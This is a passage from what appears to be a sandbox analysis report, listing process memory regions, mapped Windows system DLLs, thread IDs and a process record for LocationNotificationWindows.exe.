= "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6905 start_va = 0x7ffe5bc70000 end_va = 0x7ffe5bc99fff monitored = 0 entry_point = 0x7ffe5bc78b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 6906 start_va = 0x7ffe550e0000 end_va = 0x7ffe5512afff monitored = 0 entry_point = 0x7ffe550f7b70 region_type = mapped_file name = "veeventdispatcher.dll" filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 6907 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6908 start_va = 0x7ffe5ba10000 end_va = 0x7ffe5bb0ffff monitored = 0 entry_point = 0x7ffe5ba50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 6909 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6910 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 6911 start_va = 0x2138ca20000 end_va = 0x2138cb62fff monitored = 0 entry_point = 0x2138ca48210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6912 start_va = 0x2138ca20000 end_va = 0x2138cafffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6915 start_va = 0x3759180000 end_va = 0x37591fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759180000" filename = "" Region: id = 6916 start_va = 0x7ffe5b870000 end_va = 0x7ffe5b905fff monitored = 0 entry_point = 0x7ffe5b895570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6917 start_va = 0x2138cb00000 end_va = 0x2138cb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138cb00000" filename = "" Region: id = 6918 start_va = 0x2138b190000 end_va = 0x2138b190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b190000" filename = "" Region: id = 6919 start_va = 0x7ffe550a0000 end_va = 0x7ffe550d0fff monitored = 0 entry_point = 0x7ffe550a3400 region_type = mapped_file name = "clipboardserver.dll" filename = "\\Windows\\System32\\ClipboardServer.dll" (normalized: "c:\\windows\\system32\\clipboardserver.dll") Region: id = 6920 start_va = 0x7ffe55040000 end_va = 0x7ffe5509cfff monitored = 0 entry_point = 0x7ffe55050080 region_type = mapped_file name = "activationmanager.dll" filename = "\\Windows\\System32\\ActivationManager.dll" (normalized: "c:\\windows\\system32\\activationmanager.dll") Region: id = 6921 start_va = 0x7ffe55010000 end_va = 0x7ffe55032fff monitored = 0 entry_point = 0x7ffe55013020 region_type = mapped_file name = "appointmentactivation.dll" filename = "\\Windows\\System32\\AppointmentActivation.dll" (normalized: "c:\\windows\\system32\\appointmentactivation.dll") Region: id = 6922 start_va = 0x3759200000 end_va = 0x375927ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759200000" filename = "" Region: id = 6923 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6924 start_va = 0x7ffe56010000 end_va = 0x7ffe56050fff monitored = 0 entry_point = 0x7ffe56014840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 6925 start_va = 0x3759280000 end_va = 0x37592fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759280000" filename = "" Region: id = 6926 start_va = 0x7ffe57100000 end_va = 0x7ffe5710ffff monitored = 0 entry_point = 0x7ffe57102c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 6927 start_va = 0x2138cb80000 end_va = 0x2138cc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138cb80000" filename = "" Region: id = 6928 start_va = 0x2138cc80000 end_va = 0x2138d47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002138cc80000" filename = "" Region: id = 6929 start_va = 0x3759300000 end_va = 0x375937ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759300000" filename = "" Region: id = 6930 start_va = 0x3759380000 end_va = 0x37593fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759380000" filename = "" Region: id = 6939 start_va = 0x3759400000 end_va = 0x375947ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759400000" filename = "" Region: id = 6940 start_va = 0x7ffe54fb0000 end_va = 0x7ffe54ff3fff monitored = 0 entry_point = 0x7ffe54fbc010 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 6942 start_va = 0x7ffe54fa0000 end_va = 0x7ffe54fadfff monitored = 0 entry_point = 0x7ffe54fa2690 region_type = mapped_file name = "notificationplatformcomponent.dll" filename = "\\Windows\\System32\\notificationplatformcomponent.dll" (normalized: "c:\\windows\\system32\\notificationplatformcomponent.dll") Region: id = 6943 start_va = 0x7ffe54f00000 end_va = 0x7ffe54f96fff monitored = 0 entry_point = 0x7ffe54f14fd0 region_type = mapped_file name = "appcontracts.dll" filename = "\\Windows\\System32\\AppContracts.dll" (normalized: "c:\\windows\\system32\\appcontracts.dll") Region: id = 6944 start_va = 0x7ffe54e50000 end_va = 0x7ffe54ef1fff monitored = 0 entry_point = 0x7ffe54e52b20 region_type = mapped_file name = "sharehost.dll" filename = "\\Windows\\System32\\ShareHost.dll" (normalized: "c:\\windows\\system32\\sharehost.dll") Region: id = 6945 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6946 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6947 start_va = 0x7ffe54e40000 end_va = 0x7ffe54e48fff monitored = 0 entry_point = 0x7ffe54e41480 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 6948 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6949 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6950 start_va = 0x7ffe54be0000 end_va = 0x7ffe54e3cfff monitored = 0 entry_point = 0x7ffe54c68610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 6953 start_va = 0x3759480000 end_va = 0x37594fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759480000" filename = "" Region: id = 6964 start_va = 0x3759500000 end_va = 0x375957ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759500000" filename = "" Region: id = 6965 start_va = 0x7ffe54a30000 end_va = 0x7ffe54a44fff monitored = 0 entry_point = 0x7ffe54a31ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 6979 start_va = 0x3759580000 end_va = 0x37595fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759580000" filename = "" Region: id = 7465 start_va = 0x3759600000 end_va = 0x375967ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759600000" filename = "" Region: id = 7467 start_va = 0x2138b190000 end_va = 0x2138b190fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 7468 start_va = 0x2138b190000 end_va = 0x2138b1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002138b190000" filename = "" Region: id = 7638 start_va = 0x7ffe52800000 end_va = 0x7ffe52aa2fff monitored = 0 entry_point = 0x7ffe52826190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 7641 start_va = 0x7ffe52760000 end_va = 0x7ffe527f3fff monitored = 0 entry_point = 0x7ffe52799210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 7715 start_va = 0x7ffe5c8d0000 end_va = 0x7ffe5c8e6fff monitored = 0 entry_point = 0x7ffe5c8d79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7716 start_va = 0x7ffe5c560000 end_va = 0x7ffe5c593fff monitored = 0 entry_point = 0x7ffe5c57ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7717 start_va = 0x2138d480000 end_va = 0x2138d7b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7718 start_va = 0x7ffe5c9f0000 end_va = 0x7ffe5c9fafff monitored = 0 entry_point = 0x7ffe5c9f19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7719 start_va = 0x3759680000 end_va = 0x37596fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759680000" filename = "" Region: id = 7720 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 7722 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 7741 start_va = 0x7ffe5b7b0000 end_va = 0x7ffe5b7c0fff monitored = 0 entry_point = 0x7ffe5b7b5e90 region_type = mapped_file name = "licensemanagerapi.dll" filename = "\\Windows\\System32\\LicenseManagerApi.dll" (normalized: "c:\\windows\\system32\\licensemanagerapi.dll") Region: id = 7742 start_va = 0x7ffe5a770000 end_va = 0x7ffe5a791fff monitored = 0 entry_point = 0x7ffe5a771a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7743 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 7744 start_va = 0x3759700000 end_va = 0x375977ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003759700000" filename = "" Region: id = 8007 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.10586.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8018 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8019 start_va = 0x7ff790450000 end_va = 0x7ff7904cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8024 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8025 start_va = 0x7ff790450000 end_va = 0x7ff7904cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8026 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8027 start_va = 0x7ff790450000 end_va = 0x7ff7904cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8028 start_va = 0x2138b1c0000 end_va = 0x2138b1c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8029 start_va = 0x7ff790450000 end_va = 0x7ff7904cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Thread: id = 442 os_tid = 0x534 Thread: id = 443 os_tid = 0x540 Thread: id = 444 os_tid = 0x554 Thread: id = 446 os_tid = 0x580 Thread: id = 447 os_tid = 0x584 Thread: id = 448 os_tid = 0x588 Thread: id = 450 os_tid = 0x598 Thread: id = 451 os_tid = 0x59c Thread: id = 452 os_tid = 0x5a0 Thread: id = 453 os_tid = 0x5a4 Thread: id = 454 os_tid = 0x5a8 Thread: id = 460 os_tid = 0x5c4 Thread: id = 461 os_tid = 0x5e0 Thread: id = 463 os_tid = 0x5f4 Thread: id = 465 os_tid = 0x60c Thread: id = 534 os_tid = 0x7ac Thread: id = 566 os_tid = 0x424 Thread: id = 569 os_tid = 0x480 Process: id = "86" image_name = "locationnotificationwindows.exe" filename = "c:\\windows\\system32\\locationnotificationwindows.exe" page_root = "0x3329f000" os_pid = "0x58c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "82" os_parent_pid = "0x360" cmd_line = "C:\\Windows\\System32\\LocationNotificationWindows.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6888 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6889 start_va = 0x6d1c110000 end_va = 0x6d1c18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006d1c110000" filename = "" Region: id = 6890 start_va = 0x6d1c200000 end_va = 0x6d1c3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006d1c200000" filename = "" Region: id = 6891 start_va = 0x1d8527f0000 end_va = 0x1d85280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d8527f0000" filename = "" Region: id = 6892 start_va = 0x1d852810000 end_va = 0x1d852824fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852810000" filename = "" Region: id = 6893 start_va = 0x1d852830000 end_va = 0x1d852833fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852830000" filename = "" Region: id = 6894 start_va = 0x1d852840000 end_va = 0x1d852841fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852840000" filename = "" Region: id = 6895 start_va = 0x7df5fff10000 end_va = 0x7ff5fff0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fff10000" filename = "" Region: id = 6896 start_va = 0x7ff799b30000 end_va = 0x7ff799b52fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff799b30000" filename = "" Region: id = 6897 start_va = 0x7ff79a9c0000 end_va = 0x7ff79a9cdfff monitored = 0 entry_point = 0x7ff79a9c2e60 region_type = mapped_file name = "locationnotificationwindows.exe" filename = "\\Windows\\System32\\LocationNotificationWindows.exe" (normalized: "c:\\windows\\system32\\locationnotificationwindows.exe") Region: id = 6898 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6971 start_va = 0x1d852850000 end_va = 0x1d8529affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852850000" filename = "" Region: id = 6972 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6973 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6974 start_va = 0x1d8527f0000 end_va = 0x1d8527fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d8527f0000" filename = "" Region: id = 6975 start_va = 0x7ff799a30000 end_va = 0x7ff799b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff799a30000" filename = "" Region: id = 6976 start_va = 0x1d8529b0000 end_va = 0x1d852a6dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6977 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6978 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6982 start_va = 0x6d1c400000 end_va = 0x6d1c47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006d1c400000" filename = "" Region: id = 6983 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6984 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6985 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6986 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6987 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6988 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6989 start_va = 0x1d852800000 end_va = 0x1d852806fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852800000" filename = "" Region: id = 6990 start_va = 0x7ffe5e0f0000 end_va = 0x7ffe5f64efff monitored = 0 entry_point = 0x7ffe5e2511f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6991 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6992 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6993 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6994 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7257 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7258 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7259 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7260 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7261 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 7262 start_va = 0x1d852a70000 end_va = 0x1d852aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852a70000" filename = "" Region: id = 7263 start_va = 0x1d852850000 end_va = 